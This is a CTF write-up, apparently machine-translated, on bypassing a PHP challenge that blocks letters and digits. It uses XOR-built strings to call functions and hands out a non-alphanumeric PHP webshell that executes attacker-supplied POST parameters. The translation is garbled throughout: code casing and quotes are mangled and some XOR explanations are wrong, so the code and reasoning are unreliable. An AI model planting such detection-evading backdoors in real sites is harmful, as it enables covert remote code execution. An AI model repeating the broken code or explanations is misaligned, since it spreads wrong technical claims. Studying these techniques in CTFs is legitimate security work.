0x01 Preface
Recently, in the work of doing code audit encountered a problem, the title described as follows:
<?PHPinclude' Flag.php ';if(isset($_get[' Code '])){ $code=$_get[' Code ']; if(strlen($code) >40){ die("Long.")); } if(Preg_match("/[a-za-z0-9]+/",$code)){ die("NO."); } @Eval($code);}Else{ Highlight_file(__file__);}//$hint = "php function Getflag () to get Flag";?>
This string of code description is like this, we want to bypass the a-za-z0-9 these regular numbers, the letter string of the parameters, the non-alphabetic, numeric characters through various transformations, and finally can construct a-Z any character, and the length of the string is less than 40. Then using PHP to allow dynamic function execution features, splicing a function name, here we are "getflag", and then dynamically execute it.
So, the question we need to consider is how to pass various transformations so that we can successfully read the Getflag function and then get the Webshell.
0x02 Pre-knowledge bedding
Before understanding this article, we first need to understand the concept of a different or (^) in PHP.
Let's look at the following code first:
<? PHP Echo "A" ^ "?" ;? >
The results of the operation are as follows:
As we can see, the result of the output is the character "~". The result is that the code has the characters "A" and the character "?". The XOR operation was performed. In PHP, when two variables are XOR, the string is converted to an ASCII value, then the ASCII value is converted to binary and then XOR, XOR, and the result is converted from binary to ASCII, and then the ASCII value is converted to a string. XOR operations are sometimes used to exchange values of two variables.
Like the example above
The ASCII value of a is 65, and the corresponding binary value is 01000001
? The ASCII value is 63, and the corresponding binary value is 00111111
The value of the XOR binary is 10000000, the corresponding ASCII value is 126, and the corresponding string value is ~.
As we all know, PHP is a weak type of language, that is, in PHP we can not pre-declare the type of variables, and directly declare a variable and initialization or assignment operation. Because of this feature of PHP's weak type, we implicitly convert the variable type of PHP and use this feature for some unconventional operations. If you convert an integer to a string, treat a Boolean as an integer, or use a string as a function, let's look at a piece of code:
<? PHP function B () { echo "Hello angel_kitty"; } $_++; $__= "?" ^ "}"; $__ ();? >
The code execution results are as follows:
Let's analyze the above code together:
- $_++; This line of code means that the variable named "_" variable is self-increment operation, in PHP, the default value of the undefined variable is null,null==false==0, we can not use any number in the case of the undefined variable by the self-increment operation to get a number.
- $__="?" ^ "}"; To the character "?" and "}" are assigned to the variable named "__" (two underscore) by the result B.
- $__ (); With the above assignment, the value of the variable $__ is B, so this line can be thought of as B (), in PHP, this line of code represents the call to function B, so the execution result is Hello Angel_kitty. In PHP, we can treat a string as a function.
See here, I believe that if you see a similar PHP back door should not be so confusing, you can use a sentence to analyze the backdoor code to understand the backdoor want to implement the function.
We want to use this backdoor to create strings that can be used to bypass detection and useful to us, such as _post "," System "," Call_user_func_array ", or anything we need.
Here is a very simple non-alphanumeric PHP Backdoor:
<?php @$_++;//$_ = 1$__=("#"^"|");// $__ = _$__.=("." ^"~");//_p$__.=("/"^"`");//_po$__.=("|" ^"/");//_pos$__.=("{"^"/");//_post${$__}[!$_](${$__}[$_]);//$_post[0] ($_post[1]);?>
Here I explain below,. = is a string connection, see PHP syntax for details
We can even merge the above code into one line, making the program less readable and the code is as follows:
$__=("#"^"|"). ("." ^"~"). ("/"^"`"). ("|" ^"/"). ("{"^"/");
Analysis of 0x03 problems
For the problem that the article began to encounter, at first our idea was to bypass the string by constructing an XOR, but because the last constructed string far exceeds the length of the len=40, then we finally gave up ~ ~
How do we construct this string so that the length is less than 40?
We finally have to read the Getflag function, we need to construct a _get to read this function, we finally construct the following string:
code=$_= "' {{{" ^ "? <>/"; ${$_}[_] (${$_}[__]); &_=getflag
Maybe a lot of little buddies still can't understand how this string is constructed after reading the pre-knowledge, so let's take a segment analysis of the string.
① Construction _get Read
First of all we need to know _get from what different or come, after my trial and analysis, I came to the following conclusions:
<? PHP Echo "' {{" ^ "<>/"; // _get?>
What does this piece of code mean by a big lump? Because of the 40-character-length limitation, the Webshell that were previously character-by-byte or spliced cannot be used.
Here you can use the anti-quotes in PHP that can execute commands ` `
and the wildcard characters below Linux?
?
Represents a character match
- ' means execute command
- "Parsing a special string
Because it can only match one character, the meaning of this notation is circular invocation, which matches each other. We'll break it down to see
<? PHP Echo "{" ^ "<";? >
The output is:
<? PHP Echo "{" ^ ">";? >
The output is:
<? PHP Echo "{"^"/";? >
The output is:
So that's how _get was constructed.
② getting _get parameters
How to get it? We can construct the following string:
<? PHP echo ${$_}[_] (${$_}[__]); // $_get[_] ($_get[__])?>
According to the previous construction, $_ has become a _get.
Logically speaking, $_ = _get this string.
We build $_get[__] To get the parameter values
③ Incoming parameters
At this point we just need to call the Getflag function to get the Webshell, the structure is as follows:
<? PHP Echo $_=getflag; // Getflag?>
So the parameters are all connected together, you can ~ ~
code=$_= "' {{{" ^ "? <>/"; ${$_}[_] (${$_}[__]); &_=getflag
The results are as follows:
We succeeded in reading the flag~~.
0X04 Extended Reading
I recommend to you a few write better, so that we can further understand this thing.
- Https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
- http://php.net/manual/zh/language.operators.increment.php
Remember the pit where Webshell stepped (how to write a backdoor with no numbers and letters in PHP)